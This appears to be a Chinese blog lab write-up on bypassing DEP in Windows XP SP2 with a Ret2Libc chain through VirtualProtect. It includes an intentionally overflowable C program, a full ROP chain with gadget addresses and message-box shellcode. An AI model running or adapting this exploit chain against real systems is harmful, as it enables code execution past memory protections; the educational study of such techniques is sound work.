• 9.3 Ret2Libc 实战之利用VirtualProtect


    目录

    一、实验原理

    二、实验环境

    三、实验代码

    四、实验步骤

    1、找到VirtualProtect()在内存中的地址

    2、构造VirtualProtect()的相关参数

    3、修改内存属性

    4、执行弹窗代码


    一、实验原理

            在DEP的四种模式中,Optout和AlwaysON模式下所有进程是默认开启DEP,这时如果一个程序自身偶尔需要从堆栈中取指令,则会发生错误。为了解决这一问题,系统提供了一个修改内存属性的函数——VirtualProtect函数,该函数位于kernel32.dll中,通过该函数用户可以修改指定内存的属性,包括是否可执行属性。因此,只要我们在栈桢中布置好合适的参数,并让程序转入函数VirtualPotect执行,就可以将shellcode所在内存设置为可执行状态,进而绕过DEP。

            VirtualProtect函数说明:

    1. BOOL VirtualProtect(
    2. LPVOID lpAddress, //要改变属性的内存起始地址
    3. DWORD dwSize, //要改变属性的内存区域大小
    4. DWORD flNewProtect, //内存新的属性值,设置为0x40,该内存页可读可写可执行
    5. PDWORD lpflOldProtect //内存原始属性类型保存地址
    6. );

            修改内存属性成功,函数返回非0;修改失败,函数返回0。

            如果我们按照以下参数布置好栈帧的话,就可以将shellcode所在内存区域设置为可执行模式:

    1. BOOL VirtualProtect(
    2. shellcode 所在内存空间起始地址,
    3. shellcode 大小,
    4. 0x40,
    5. 某个可写地址
    6. );

            需要注意两个问题:

            (1)参数中含有0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击str函数,本次实验改为攻击memcpy函数;

            (2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能不同,本次实验采用一种巧妙地栈帧构造方法动态确定shellcode所在内存空间地起始地址。

            VirtualProtect函数具体实现:
            VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性操作。

    二、实验环境

            操作系统:windows xp sp2

            DEP状态:Optout

            编译器:VC++6.0

            build版本:release版本

            原版OD

    三、实验代码

    1. #include
    2. #include
    3. #include
    4. #include
    5. char shellcode[]=
    6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    17. "\x90\x90\x90\x90"
    18. "\xFC\xDA\xCE\x7D"//pop eax retn
    19. "\x9D\x63\x73\x7D"//pop pop pop retn
    20. "\x68\xDC\xEC\x77"//修正EBP
    21. "\x30\x2A\xD7\x7D"//RETN
    22. "\x90\x90\x90\x90"
    23. "\xC6\xC6\xEB\x77"//push esp jmp eax
    24. "\xFF\x00\x00\x00"
    25. "\x40\x00\x00\x00"
    26. "\xC6\xC6\xEB\x77"//push esp jmp eax
    27. "\x90\x90\x90\x90"
    28. "\x90\x90\x90\x90"
    29. "\xD9\x1A\x80\x7C"//修改内存属性
    30. "\x90\x90\x90\x90"
    31. "\xBB\x33\xD3\x7D"//jmp esp
    32. "\x90\x90\x90\x90"
    33. "\x90\x90\x90\x90"
    34. "\x90\x90\x90\x90"
    35. "\x90\x90\x90\x90"
    36. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    37. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    38. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    39. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    40. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    41. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    42. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    43. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    44. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    45. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    46. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    47. ;
    48. void test()
    49. {
    50. char tt[176];
    51. memcpy(tt,shellcode,420);
    52. }
    53. int main()
    54. {
    55. HINSTANCE hInst = LoadLibrary("shell32.dll");
    56. char temp[200];
    57. test();
    58. return 0;
    59. }

            代码简要分析:

            (1)本次实验不启用GS和SafeSEH;

            (2)函数test存在一个典型的溢出,复制超长字符串造成溢出,进而覆盖函数返回地址;

            (3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式;

            (4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址;

            (5)内存区域被设置为可执行模式后shellcode就可以执行了。

    四、实验步骤

    1、找到VirtualProtect()在内存中的地址

            本实验主要是通过调用VirtualProtect()函数修改指定内存位置的属性的方法绕过DEP,所以需要知道VirtualProtect()的地址。另外,不同的设备,VirtualProtect()在内存中的位置不一样,所以使用Dependency Walker在kernel32.dll中寻找其地址,并在OD中验证。

             可以看到VirtualProtect()大概在0x7C800000+0x00001AD4处。

             我们这里之后直接转到0x7C801AD4,直接进入参数的压栈。

    2、构造VirtualProtect()的相关参数

            如果想调用函数VirtualProtect(),而在调用函数之前,需要将函数相关参数入栈,因为再覆盖栈帧的时候,EBP中的数据已经被破坏,因此与函数有关的参数将无法入栈,也就是程序无法执行。

            所以需要修复EBP。用PUSH ESP POP EBP RET 4指令的地址覆盖test函数的返回地址,这样就可以修复被破坏的EBP。

            使用ollyFindAdd插件:

             这里选择0x77ECDC68地址。

            则此时的shellcode为:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\x68\xDC\xEC\x77"//修正EBP

            编译运行程序,直接运行到PUSH ESP POP EBP RET 4处,查看栈帧情况:

             如果retn 4 之后,程序准备调用函数VirtualProtect(),那么四个参数位置就是上图红框框的四个位置。

            执行完retn 4之后,ESP将指向0x0012FEBC处,也就是刚好指向EBP+8的位置。

             现在的目的是:执行完RETN 4之后,使ESP向高地址方向移动4字节而又不影响程序的控制。

             选择0x7DD72A30处的RETN指令。

             PUSH ESP,JMP EAX指令的目的是改EBP+8处的参数

     

             如上图所示,我们已经将EBP+0x8的参数设置为了当前栈帧的某个地址,只要我们将EBP+0x14处存放的地址为可写地址就行了。按照刚刚的1思路,如果我们将ESP指向EBP+0x18,就可以再用PUSH ESP,JMP EAX指令来设置EBP+0x14的参数。

            观察当前栈帧的特点,ESP指向0x0012FEBC,EBP+0x18为0x0012FECC,所以我们可以用POP POP POP RETN指令序列使得ESP指向0x0012FECC。

            结合当前程序执行的语句,可以看到此时程序下一步将要执行JMP EAX,所以我们需要程序指向JMP EAX之前,让EAX中保存着POP POP POP RETN的指令序列地址。

            (1)使用OllyFindAdd寻找POP POP POP RETN指令地址:

            需要注意的是:选择的POP POP POP RETN指令不能影响到ESP、EBP、EAX这几个寄存器的值,所以这里我们选择0x7D73639D处的指令序列。

            (2)寻找POP EAX RETN

            使用POP EAX RETN指令序列,将POP POP POP RETN指令的地址(0x7D73639D)存入EAX中。

             这里选择0x7DCEDAFC.

            更改shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\xFC\xDA\xCE\x7D"//pop eax retn
    7. "\x9D\x63\x73\x7D"//pop pop pop retn
    8. "\x68\xDC\xEC\x77"//修正EBP
    9. "\x30\x2A\xD7\x7D"//RETN
    10. "\x90\x90\x90\x90"
    11. "\xC6\xC6\xEB\x77"//push esp jmp eax

             编译运行程序,直接执行到0x7DCEDAFC处(test函数的返回地址就是0x7DCEDAFC覆盖);

            这一步执行POP EAX RETN,目的是让EAX保存0x7D73639D(也就是POP POP POP RETN指令序列的地址)。

             可以看到下一步程序EIP寄存器将会指向0x77ECDC68(也就是修正EBP)

             通过PUSH ESP POP EBP RETN指令序列修正EBP之后,下一步EIP寄存器将会执行0x7DD72A30(也就是RETN),并且,ESP将会指向0x0012FEC4(也就是EBP+8)。使用RETN(0x7DD72A30)的目的是让ESP指向0x0012FEC8(也就是EBP+12),同时EIP将会指向0x77EBC6C6(PUSH ESP JMP EAX)。前一个PUSH EAP是更改EBP+8的值,也就是函数VirtualProtect()的第一个参数(要改变属性的内存的起始地址)。后一个JMP EAX是为了更改EBP+14的值,也就是数VirtualProtect()的第四个参数(内存原始属性类型保存地址)。

     

             指向PUSH ESP,可以看到EBP+8位置的数据被覆盖,也就是函数VirtualProtect()的第一个参数被更改,目的是更改从0x12FEC8开始的内存属性。这一步RETN之后,EIP寄存器将会指向0x7D73639D(也就是执行POP POP POP RETN指令序列)处。

     

             执行完POP POP POP 之后,ESP指向0x0012FED0处,也就是EBP+14,也就是函数VirtualProtect()的第四个参数,下一步的目的将是更改此处的值,改为一个可写的地址。

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\xFC\xDA\xCE\x7D"//pop eax retn
    7. "\x9D\x63\x73\x7D"//pop pop pop retn
    8. "\x68\xDC\xEC\x77"//修正EBP
    9. "\x30\x2A\xD7\x7D"//RETN
    10. "\x90\x90\x90\x90"
    11. "\xC6\xC6\xEB\x77"//push esp jmp eax

             究竟如何改呢?同样用PUSH ESP JMP EAX,观察到此时ESP指向0x0012FED0,要改的内存属性的地址是从0x0012FEC8开始的,所以0x0012FED0是可写的地址。

            同时注意到:结合此时的shellcode,并且对比下面两张图:

     刚开始更改EAX的值

    准备改第四个参数

            可以发现,函数VirtualProtect()的第二、三参数应该分别放在0x0012FEC8、0x0012FECC处,也就是在构造shellcode的时候,将函数VirtualProtect()的第二、三参数直接布置在"\xC6\xC6\xEB\x77"后面即可。

            重新构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\xFC\xDA\xCE\x7D"//pop eax retn
    7. "\x9D\x63\x73\x7D"//pop pop pop retn
    8. "\x68\xDC\xEC\x77"//修正EBP
    9. "\x30\x2A\xD7\x7D"//RETN
    10. "\x90\x90\x90\x90"
    11. "\xC6\xC6\xEB\x77"//push esp jmp eax
    12. "\xFF\x00\x00\x00"
    13. "\x40\x00\x00\x00"
    14. "\xC6\xC6\xEB\x77"//push esp jmp eax

             编译运行程序,运行到修改第四个参数位置,即JMP EAX处。

            可以看到函数的第四个参数以及被修改,既然四个参数都已经准备好了,下一步将调用函数VirtualProtect()修改执行内存的属性值。

            程序下一步将会执行[eax],即POP POP POP RETN指令序列。现在ESP执行0x0012FED0,而这个0x0012FED0曾经存放的是PUSH ESP JMP EAX这条指令序列的地址,所以,调用VirtualProtect()的指令(0x7C801AD4)放在0x0012FEDC处.。

    3、修改内存属性

            更改shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\xFC\xDA\xCE\x7D"//pop eax retn
    7. "\x9D\x63\x73\x7D"//pop pop pop retn
    8. "\x68\xDC\xEC\x77"//修正EBP
    9. "\x30\x2A\xD7\x7D"//RETN
    10. "\x90\x90\x90\x90"
    11. "\xC6\xC6\xEB\x77"//push esp jmp eax
    12. "\xFF\x00\x00\x00"
    13. "\x40\x00\x00\x00"
    14. "\xC6\xC6\xEB\x77"//push esp jmp eax
    15. "\x90\x90\x90\x90"
    16. "\x90\x90\x90\x90"
    17. "\xD9\x1A\x80\x7C"//修改内存属性

            编译运行程序,执行到程序调用函数VirtualProtect()处:

             可以看到,函数VirtualProtect()的返回值为非0,也就是说更改内存属性成功。也就是说我们可以在0x0012FEC8~0x001FEC8+0xFF的位置为所欲为了!只要在0x0012FEE4处放一个JMP ESP的指令,然后ESP将会指向0x0012FEF4处,在0x0012FEF4放弹窗代码即可绕过DEP。

    4、执行弹窗代码

            结合shellcode的布局,寻找JMP ESP要放在哪儿,构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. ...
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90"
    6. "\xFC\xDA\xCE\x7D"//pop eax retn
    7. "\x9D\x63\x73\x7D"//pop pop pop retn
    8. "\x68\xDC\xEC\x77"//修正EBP
    9. "\x30\x2A\xD7\x7D"//RETN
    10. "\x90\x90\x90\x90"
    11. "\xC6\xC6\xEB\x77"//push esp jmp eax
    12. "\xFF\x00\x00\x00"
    13. "\x40\x00\x00\x00"
    14. "\xC6\xC6\xEB\x77"//push esp jmp eax
    15. "\x90\x90\x90\x90"
    16. "\x90\x90\x90\x90"
    17. "\xD9\x1A\x80\x7C"//修改内存属性
    18. "\x90\x90\x90\x90"
    19. "\x90\x90\x90\x90"
    20. "\x90\x90\x90\x90"
    21. "\x90\x90\x90\x90"
    22. "\xA4\xDE\xA2\x7C"//jmp esp

             编译运行程序,运行到调用完函数VirtualProtect(),准备返回,即RETN 10处。

             在栈帧中,可以看到0x0012FEE4指向第二个“\x90\x90\x90\x90”,所以下一步将JMP ESP放在第二个“\x90\x90\x90\x90”处即可。

            在继续构造shellcode之前,先找一个JMP ESP:

             选择0x7DD333BB处的JMP ESP。

            构造shellcode:

    1. char shellcode[]=
    2. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    3. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    4. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    5. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    7. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    8. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    9. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    13. "\x90\x90\x90\x90"
    14. "\xFC\xDA\xCE\x7D"//pop eax retn
    15. "\x9D\x63\x73\x7D"//pop pop pop retn
    16. "\x68\xDC\xEC\x77"//修正EBP
    17. "\x30\x2A\xD7\x7D"//RETN
    18. "\x90\x90\x90\x90"
    19. "\xC6\xC6\xEB\x77"//push esp jmp eax
    20. "\xFF\x00\x00\x00"
    21. "\x40\x00\x00\x00"
    22. "\xC6\xC6\xEB\x77"//push esp jmp eax
    23. "\x90\x90\x90\x90"
    24. "\x90\x90\x90\x90"
    25. "\xD9\x1A\x80\x7C"//修改内存属性
    26. "\x90\x90\x90\x90"
    27. "\xBB\x33\xD3\x7D"//jmp esp
    28. "\x90\x90\x90\x90"
    29. "\x90\x90\x90\x90"
    30. "\x90\x90\x90\x90"
    31. "\x90\x90\x90\x90"
    32. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    33. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    34. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    35. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    36. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    37. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    38. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    39. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    40. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    41. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    42. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

             编译运行,成功绕过DEP:

     

  • 相关阅读:
    iOS Flutter Engine源码调试和修改
    maven运行报错解决
    并发修改异常
    PySCENIC(二):pyscenic单细胞转录组转录因子分析
    【LittleXi】ICPC2023 南京站 总结
    简单个人网页制作 个人介绍网页模板 静态HTML留言表单页面网站模板 大学生个人主页网页
    重磅!涵盖全微服务操作的Spring Cloud 文档竟出自Alibaba
    Hugging Face发布重量级版本:Transformer 4.42
    如何配置多个ssh
    java方法是什么?
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/127739248